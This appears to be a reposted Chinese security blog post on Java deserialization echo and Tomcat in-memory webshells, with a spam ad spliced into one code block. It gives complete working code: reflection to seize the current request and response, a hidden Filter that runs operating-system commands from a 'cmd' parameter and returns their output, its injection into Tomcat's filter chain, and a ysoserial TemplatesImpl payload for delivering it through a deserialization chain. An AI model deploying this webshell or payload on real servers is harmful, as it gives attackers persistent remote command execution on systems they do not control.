写点什么

Java 安全之反序列化回显与内存码,java 面试个人规划

用户头像
极客good
关注
发布于: 刚刚

思路如下:


1、反射修改


ApplicationDispatcher.WRAP_SAME_OBJECT,让代码逻辑走到 if 条件里面


2、初始化 lastServicedRequest 和 lastServicedResponse 两个变量,默认为 null


3、从 lastServicedResponse 中获取当前请求 response,并且回显内容。


自己尝试构造了一下


package com;


import javax.servlet.ServletException;


import javax.servlet.ServletRequest;


import javax.servlet.ServletResponse;


import javax.servlet.annotation.WebServlet;


import javax.servlet.http.HttpServlet;


import javax.servlet.http


【一线大厂Java面试题解析+核心总结学习笔记+最新架构讲解视频+实战项目源码讲义】
浏览器打开:qq.cn.hn/FTf 免费领取
复制代码


.HttpServletRequest;


import javax.servlet.http.HttpServletResponse;


import java.io.IOException;


import java.lang.reflect.Field;


import java.lang.reflect.Modifier;


@WebServlet("/testServlet")


public class testServlet extends HttpServlet {


protected void doPost(HttpServletRequest request, HttpServletResponse response) {


try {


Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");


Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");


Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");


lastServicedRequest.setAccessible(true);


lastServicedResponse.setAccessible(true);


wrap_same_object.setAccessible(true);


//修改 final


Field modifiersField = Field.class.getDeclaredField("modifiers");


modifiersField.setAccessible(true);


modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);


modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);


modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);


boolean wrap_same_object1 = wrap_same_object.getBoolean(null);


ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);


ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null);


wrap_same_object.setBoolean(null,true);


lastServicedRequest.set(null,new ThreadLocal<>());


lastServicedResponse.set(null,new ThreadLocal<>());


ServletResponse servletResponse = responseThreadLocal.get();


servletResponse.getWriter().write("111");


} catch (Exception e) {


e.printStackTrace();


}


}


protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {


this.doPost(request, response);


}


}


同理,可集成到 yso 中,反序列化命令执行结果借助该 servletResponse。



[](


)局限 #


==============================================================


在 shiro 反序列化漏洞的利用中并不能成功,发现 request,response 的设置是在漏洞触发点之后,所以在触发漏洞执行任意 java 代码时获取不到我们想要的 response。其原因是因为 rememberMe 功能的实现是使用了自己实现的 filter。


[](


)0x03 内存马构造 #


======================================================================


前文的基于 Tomcat 实现内存马中只是借助 Servlet 直接去进行动态添加 Filter 实现内存马。而实际当中还是需要借助反序列化点来直接打入内存马。


下面再来构造一个完整的。


获取到 ApplicationContext 调用 addFilter 方法直接将恶意 Filter 添加进去发现并不行。


ApplicationContext.addFilter(filterName,new ShellIntInject());



断点处进行了判断,条件为 true,会直接抛出异常。而这时候可以借助反射去进行修改。



Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");


state.setAccessible(true);


state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);


修改完成后,再来看到 addFilter 中,


this.context.findFilterDef 也就是寻找 StandardContext 中的 filterDef,所以我们需要添加到 filterConfigs、filterDefs、filterMaps。


在添加 filter 前,通过反射设置成


LifecycleState.STARTING_PREP,添加完成后,再把其恢复成 LifecycleState.STARTE,需要恢复,否则可能导致服务不可用。



//添加拦截路径,实现是将存储写入到 filterMap 中


registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});


后面再来看到 StandardContext 中 filterStart 方法会遍历所有 filterDefs 实例化 ApplicationFilterConfig 添加到 filterConfigs 中


this.filterConfigs.clear();


Iterator i$ = this.filterDefs.entrySet().iterator();


while(i$.hasNext()) {


Entry<String, FilterDef> entry = (Entry)i$.next();


String name = (String)entry.getKey();


if (this.getLogger().isDebugEnabled()) {


this.getLogger().debug(" Starting filter '" + name + "'");


}


try {


ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());


this.filterConfigs.put(name, filterConfig);


} catch (Throwable var8) {


Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8);


ExceptionUtils.handleThrowable(t);


this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);


ok = false;


}


}


return ok;


}


}


前面我们的调用 addfilter 方法的时候已经将 对应的 filterDef 给添加进去,我们只需要调用该方法即可实现 filterConfig 的添加。


//调用 filterStart 方法将 filterconfig 进行添加


Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");


filterStart.setAccessible(true);


filterStart.invoke(standardContext,null);


最后,需要将 filter 位置进行调整。




在调试中途,部分代码抛出异常并没有直接执行 state.set(standardContext,


org.apache.catalina.LifecycleState.STARTED);会导致 tomcat 直接 503。无法进行正常访问,需重启。


[](


)完整代码 #


================================================================


package com;


import org.apache.catalina.core.ApplicationContext;


import org.apache.catalina.core.StandardContext;


import org.apache.tomcat.util.descriptor.web.FilterMap;


import javax.servlet.*;


import javax.servlet.annotation.WebServlet;


import javax.servlet.http.HttpServlet;


import javax.servlet.http.HttpServletRequest;


import javax.servlet.http.HttpServletResponse;


import java.io.BufferedInputStream;


import java.io.IOException;


import java.io.InputStream;


import java.lang.reflect.Field;


import java.lang.reflect.Method;


import java.lang.reflect.Modifier;


@WebServlet("/testServlet")


public class testServlet extends HttpServlet {


private final String cmdParamName = "cmd";


private final static String filterUrlPattern = "/*";


private final static String filterName = "cmdFilter";


protected void doPost(HttpServletRequest request, HttpServletResponse response) {


try {


Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");


Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");


Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");


lastServicedRequest.setAccessible(true);


lastServicedResponse.setAccessible(true);


wrap_same_object.setAccessible(true);


//修改 final


Field modifiersField = Field.class.getDeclaredField("modifiers");


modifiersField.setAccessible(true);


modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);


modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);


modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);


boolean wrap_same_object1 = wrap_same_object.getBoolean(null);


ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);


ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null);


wrap_same_object.setBoolean(null,true);


lastServicedRequest.set(null,new ThreadLocal<>());


lastServicedResponse.set(null,new ThreadLocal<>());


ServletResponse servletResponse = responseThreadLocal.get();


ServletRequest servletRequest = requestThreadLocal.get();


ServletContext servletContext = servletRequest.getServletContext(); //这里实际获取到的是 ApplicationContextFacade


if (servletContext!=null) {


//编写恶意 Filter


class ShellIntInject implements javax.servlet.Filter{


@Override


public void init(FilterConfig filterConfig) throws ServletException {


}


@Override


public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {


System.out.println("s");


String cmd = servletRequest.getParameter(cmdParamName);


if(cmd!=null) {


String[] cmds = null;


if (System.getProperty("os.name").toLowerCase().contains("win")) {


cmds = new String[]{"cmd.exe", "/c", cmd};


} else {


cmds = new String[]{"sh", "-c", cmd};


}


java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();


java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\a");


String output = s.hasNext() ? s.next() : "";


java.io.Writer writer = servletResponse.getWriter();


writer.write(output);


writer.flush();


writer.close();


}


filterChain.doFilter(request, response);


}


@Override


public void destroy() {


}


}


//获取 ApplicationContext


Field context = servletContext.getClass().getDeclaredField("context");


context.setAccessible(true);


ApplicationContext ApplicationContext = (ApplicationContext)context.get(servletContext);


//获取 standardContext


Field context1 = ApplicationContext.getClass().getDeclaredField("context");


context1.setAccessible(true);


StandardContext standardContext = (StandardContext) context1.get(ApplicationContext);


//获取 LifecycleBase 的 state 修改为 org.apache.catalina.LifecycleState.STARTING_PREP


Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");


state.setAccessible(true);


state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);


//注册 filterName


FilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject());


//添加拦截路径,实现是将存储写入到 filterMap 中


registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});


//调用 filterStart 方法将 filterconfig 进行添加


Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");


filterStart.setAccessible(true);


filterStart.invoke(standardContext,null);


//移动 filter 为位置到前面


FilterMap[] filterMaps = standardContext.findFilterMaps();


for (int i = 0; i < filterMaps.length; i++) {


if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {


org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];


filterMaps[i] = filterMaps[0];


filterMaps[0] = filterMap;


break;


}


}


servletResponse.getWriter().write("Success");


state.set(standardContext,org.apache.catalina.LifecycleState.STARTED);


}


} catch (Exception e) {


e.printStackTrace();


}


}


protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {


this.doPost(request, response);


}


}


但这并未完,虽然我们借助了代码执行获取到 Request 和 Response 后构造内存马。但是仍需要修改代码,将代码集成到 yso 中后,以供反序列化攻击使用。


[](


)0x04 改造 yso#


======================================================================


将前面代码扣下来,并且继承 AbstractTranslet,后面需要使用 TemplatesImpl 类去动态加载该类。


package ysoserial.exploit;


import com.sun.org.apache.xalan.internal.xsltc.DOM;


import com.sun.org.apache.xalan.internal.xsltc.TransletException;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;


import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;


import com.sun.org.apache.xml.internal.serializer.SerializationHandler;


import org.apache.catalina.core.ApplicationContext;


import org.apache.catalina.core.StandardContext;


import org.apache.tomcat.util.descriptor.web.FilterMap;


import javax.servlet.*;


import java.io.IOException;


import java.lang.reflect.Field;


import java.lang.reflect.Method;


import java.lang.reflect.Modifier;


public class TomcatShellIntInject extends AbstractTranslet {


private final static String cmdParamName = "cmd";


private final static String filterUrlPattern = "/*";


private final static String filterName = "cmdFilter";


static {


try {


Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");


Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");


Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");


lastServicedRequest.setAccessible(true);


lastServicedResponse.setAccessible(true);


wrap_same_object.setAccessible(true);


//修改 final


Field modifiersField = Field.class.getDeclaredField("modifiers");


modifiersField.setAccessible(true);


modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);


modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);


modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);


boolean wrap_same_object1 = wrap_same_object.getBoolean(null);


ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);


ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);


wrap_same_object.setBoolean(null, true);


lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());


lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());


ServletResponse servletResponse = responseThreadLocal.get();


ServletRequest servletRequest = requestThreadLocal.get();


ServletContext servletContext = servletRequest.getServletContext(); //这里实际获取到的是 ApplicationContextFacade


if (servletContext != null) {


//编写恶意 Filter


class ShellIntInject implements Filter {


@Override


public void init(FilterConfig filterConfig) throws ServletException {


}


@Override


public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {


String cmd = servletRequest.getParameter(cmdParamName);


if (cmd != null) {


String[] cmds = null;


if (System.getProperty("os.name").toLowerCase().contains("win")) {


cmds = new String[]{"cmd.exe", "/c", cmd};


} else {


cmds = new String[]{"sh", "-c", cmd};


}


java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();


java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\a");


String output = s.hasNext() ? s.next() : "";


java.io.Writer writer = servletResponse.getWriter();


writer.write(output);


writer.flush();


writer.close();


}


filterChain.doFilter(servletRequest, servletResponse);


}


@Override


public void destroy() {


}


}


//获取 ApplicationContext


Field context = servletContext.getClass().getDeclaredField("context");


context.setAccessible(true);


ApplicationContext ApplicationContext = (ApplicationContext) context.get(servletContext);


//获取 standardContext


Field context1 = ApplicationContext.getClass().getDeclaredField("context");


context1.setAccessible(true);


StandardContext standardContext = (StandardContext) context1.get(ApplicationContext);


//获取 LifecycleBase 的 state 修改为 org.apache.catalina.LifecycleState.STARTING_PREP


Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");


state.setAccessible(true);


state.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);


//注册 filterName


FilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject());


//添加拦截路径,实现是将存储写入到 filterMap 中


registration.addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST), false, new String[]{filterUrlPattern});


//调用 filterStart 方法将 filterconfig 进行添加


Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");


filterStart.setAccessible(true);


filterStart.invoke(standardContext, null);


//移动 filter 为位置到前面


FilterMap[] filterMaps = standardContext.findFilterMaps();


for (int i = 0; i < filterMaps.length; i++) {


if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {


org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];


filterMaps[i] = filterMaps[0];


filterMaps[0] = filterMap;


break;


}


}


servletResponse.getWriter().write("Success");


state.set(standardContext, org.apache.catalina.LifecycleState.STARTED);


}


} catch (Exception e) {


e.printStackTrace();


}


}


@Override


public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {


}


@Override


public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {


}


}


yso 中 createTemplatesImpl 稍做修改


public static Object createTemplatesImpl_shell ( final String command ) throws Exception {


if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {


return createTemplatesImpl(


command,


Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),


Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),


Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));


}


return createTemplatesImpl_shell(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);


}


public static <T> T createTemplatesImpl_shell ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )


throws Exception {


final T templates = tplClass.newInstance();


// use template gadget class


ClassPool pool = ClassPool.getDefault();


pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));


pool.insertClassPath(new ClassClassPath(abstTranslet));


final CtClass clazz = pool.get(StubTransletPayload.class.getName());


final byte[] classBytes = ClassFiles.classAsBytes(TomcatShellIntInject.class);


// final byte[] classBytes = clazz.toBytecode();


// inject class bytes into instance


Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {


classBytes, ClassFiles.classAsBytes(Foo.class)


});


// required to make TemplatesImpl happy


Reflections.setFieldValue(templates, "_name", "Pwnr");


Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());


return templates;


}


这里拿 cc2 链来测试,复制 cc2 链代码。将 getObject 方法修改

用户头像

极客good

关注

还未添加个人签名 2021.03.18 加入

还未添加个人简介

评论

发布
暂无评论
Java安全之反序列化回显与内存码,java面试个人规划